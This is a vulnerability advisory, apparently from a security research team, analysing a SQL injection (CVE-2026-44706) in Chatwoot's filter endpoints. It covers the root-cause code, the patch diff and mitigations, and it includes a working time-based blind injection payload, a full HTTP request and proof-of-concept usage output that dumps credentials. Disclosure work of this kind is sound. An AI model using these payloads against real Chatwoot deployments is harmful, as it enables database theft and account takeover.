[EN] CVE-2026-44706: SQL Injection in Chatwoot FilterService
Summary
The Hakai Security Research Team has identified a critical SQL Injection vulnerability in Chatwoot versions <= 4.11.1 that allows any authenticated agent to read the entire PostgreSQL database, including user credentials and API tokens. The vulnerability resides in the FilterService method, where user input is directly interpolated into SQL queries without parameterization.
Exploitation requires only an authenticated account with agent privileges, the lowest level of access. Once exploited, an attacker can extract the entire database contents via time-based blind SQL injection, including bcrypt password hashes, API access tokens, and data from all accounts in multi-tenant deployments. Boolean-based techniques can also be used to confirm the vulnerability and infer data without relying on timing.
After reporting this vulnerability through the GitHub Security Advisory program, the Chatwoot security team acknowledged the submission and praised the quality of the report. However, the same flaw had already been disclosed by another researcher. The vulnerability was subsequently assigned the identifier CVE-2026-44706.
This publication aims to provide security researchers and defenders with a detailed analysis of the vulnerability, including its root cause, potential impact, and practical mitigation strategies for organizations running Chatwoot in production environments.
Impact
This vulnerability allows any authenticated user with agent privileges to extract the entire contents of the PostgreSQL database. Chatwoot is a widely adopted open-source platform for customer engagement, and its database typically contains user credentials such as bcrypt password hashes susceptible to offline cracking, API access tokens that allow the impersonation of any user including SuperAdmins, customer data such as conversation histories, contact data, and personally identifiable information (PII), and cross-account data which in multi-tenant deployments exposes information from all accounts.
Additionally, an attacker can send multiple concurrent requests with high pg_sleep() values to keep database connections open indefinitely, gradually exhausting the Rails connection pool and the PostgreSQL max_connections limit, effectively denying database access to legitimate users. This is feasible in standard Chatwoot deployments, which do not configure statement_timeout or rate limiting on the filter endpoints.
Technical Details
The vulnerability exploits the lack of parameterized queries in the Chatwoot filter system, designed to allow agents to filter conversations and contacts. While most operators correctly use bind parameters, the is_greater_than and is_less_than operators directly interpolate user input into raw SQL.
The flaw is located in app/services/filter_service.rb within the lt_gt_filter_values method:
# app/services/filter_service.rb:91
def lt_gt_filter_values(query_hash)
value = query_hash['values'][0] # user input, unsanitized
operator = query_hash['filter_operator'] == 'is_less_than' ? '<' : '>'
"#{operator} '#{value}'::#{attribute_data_type}" # direct interpolation into SQL
end
The value field comes directly from the HTTP request body without any sanitization, escaping, or parameterization. All other operators in the class store user input in a bind parameters hash and return a named placeholder, making them immune to injection:
def equal_to_filter_values(query_hash)
current_index = @filter_values.length + 1
@filter_values["value_#{current_index}"] = query_hash['values'][0]
"= :value_#{current_index}" # Parameterized, safe against injection
end
A second, related sink existed in the same code path: the attribute_key of a custom attribute was interpolated unparameterized into the JSON path expression in build_custom_attr_query . An attacker could create a custom attribute with a crafted attribute_key and then trigger the injection on any filter call that referenced it, regardless of the attribute’s data type.
"LOWER(#{table_name}.custom_attributes ->> '#{@attribute_key}')::#{attribute_data_type} #{filter_operator_value}"
Operators auditing for prior exploitation should inspect custom_attribute_definitions.attribute_key for values containing quotes, parentheses, whitespace, or other SQL metacharacters in addition to reviewing filter request payloads.
Affected Endpoints
The two affected endpoints are POST /api/v1/accounts/:id/conversations/filter and POST /api/v1/accounts/:id/contacts/filter.
An attacker authenticated as any agent sends a POST request to one of the filter endpoints with a manipulated values payload. The payload escapes the string context using the date cast pattern and executes arbitrary SQL within the PostgreSQL database context.
The HTTP request below demonstrates the injection via Burp Suite:

POST /api/v1/accounts/1/conversations/filter HTTP/1.1
Host: target.chatwoot.com
Content-Type: application/json
api_access_token: TOKEN
{
"payload": [
{
"attribute_key": "created_at",
"filter_operator": "is_greater_than",
"values": ["2024-01-01'::date AND (SELECT CASE WHEN (1=1) THEN pg_sleep(3) ELSE pg_sleep(0) END)::text != 'x' OR 'epoch'::date > '2024-01-01"],
"query_operator": null
}
]
}
The injection leverages the date casting context to escape the SQL string:
2024-01-01'::date AND (SELECT CASE WHEN ({condition}) THEN pg_sleep(2) ELSE pg_sleep(0) END)::text != 'x' OR 'epoch'::date > '2024-01-01
This payload closes the original date string with '::date, injects a CASE WHEN expression that conditionally triggers pg_sleep(), uses the time difference to infer boolean conditions about the database, and reopens a valid SQL context to avoid syntax errors.
In this way, an exploit was developed to automatically exploit the CVE and exfiltrate all credentials stored in the database.
# Confirms the vulnerability via result count difference $ python3 poc.py --url http://TARGET --token TOKEN --account-id 1 --mode check Normal: 0 | OR TRUE: 42 [!] SQL INJECTION CONFIRMED # Extracts arbitrary data character by character $ python3 poc.py --url http://TARGET --token TOKEN --account-id 1 --mode extract --query "SELECT version()" [*] EXTRACT: SELECT version() [42 chars] PostgreSQL 15.3 on x86_64-pc-linux-gnu # Automated credential dump (emails, bcrypt hashes, API tokens) $ python3 poc.py --url http://TARGET --token TOKEN --account-id 1 --mode creds --- User 1/3 --- ID: 1 admin... $2a$10$... token: xYz...
Vulnerability Fix
The Chatwoot team addressed this vulnerability in version 4.11.2 by implementing proper input validation and parameterized queries. Below is the diff showing the changes made:
- def lt_gt_filter_values(query_hash)
- value = query_hash['values'][0]
- operator = query_hash['filter_operator'] == 'is_less_than' ? '<' : '>'
- "#{operator} '#{value}'::#{attribute_data_type}"
- end
+ def lt_gt_filter_query(query_hash, current_index)
+ attribute_key = query_hash[:attribute_key]
+ attribute_model = query_hash['custom_attribute_type'].presence || self.class::ATTRIBUTE_MODEL
+ attribute_type = custom_attribute(attribute_key, @account, attribute_model).try(:attribute_display_type)
+ attribute_data_type = self.class::ATTRIBUTE_TYPES[attribute_type] || standard_attribute_data_type(attribute_key)
+
+ @filter_values["value_#{current_index}"] = coerce_lt_gt_value(
+ query_hash['values'][0],
+ attribute_data_type,
+ attribute_key
+ )
+ operator = query_hash['filter_operator'] == 'is_less_than' ? '<' : '>'
+ "#{operator} :value_#{current_index}"
+ end
+
+ def coerce_lt_gt_value(raw_value, attribute_data_type, attribute_key)
+ case attribute_data_type
+ when 'date'
+ Date.iso8601(raw_value.to_s)
+ when 'numeric'
+ BigDecimal(raw_value.to_s)
+ else
+ raise CustomExceptions::CustomFilter::InvalidValue.new(attribute_name: attribute_key)
+ end
+ rescue Date::Error, ArgumentError, FloatDomainError, TypeError
+ raise CustomExceptions::CustomFilter::InvalidValue.new(attribute_name: attribute_key)
+ end
For the second vector , the fix enforces a strict format validation (`/\A[\p{L}\p{N}_.\-]+\z/`) and switches to bind parameters via `sanitize_sql_array`:
- "LOWER(#{table_name}.custom_attributes ->> '#{@attribute_key}')::#{attribute_data_type} #{filter_operator_value}"
+ ActiveRecord::Base.sanitize_sql_array(
+ ["LOWER(#{table_name}.custom_attributes ->> ?)::#{attribute_data_type} #{filter_operator_value}", @attribute_key]
+ )
The fix implements three layers of defense parameterized queries, type coercion, and input validation .
Recommendations
Update: Upgrade to the patched version of Chatwoot (> 4.11.1) which parameterizes the is_greater_than and is_less_than operators.
Least Privilege: Apply the principle of least privilege to database users, avoiding SUPERUSER or CREATE privileges for application accounts.
Timeouts: Configure statement_timeout in PostgreSQL to mitigate DoS via long-running injected queries.
Assume Compromise: If you were running a vulnerable version, assume compromise and rotate all user passwords and API tokens.
Conclusion
The SQL Injection vulnerability in Chatwoot’s FilterService illustrates how a single inconsistency in a well-structured codebase can introduce a severe vulnerability.
The consequences extend beyond data theft: extracted API tokens allow for complete account takeover including administrator impersonation, and in multi-tenant SaaS deployments, a single compromised agent account exposes data from all tenants. Regulatory obligations under LGPD, GDPR, or similar legislations may also be triggered by the exposure of customer PII.
We thank the Chatwoot team for their response during the coordinated disclosure process.
Let’s Practice!
Hacking Club is a training platform focused on developing cybersecurity professionals. The Woot challenge simulates a server with the vulnerability mentioned in this post and can be used to reinforce the knowledge presented.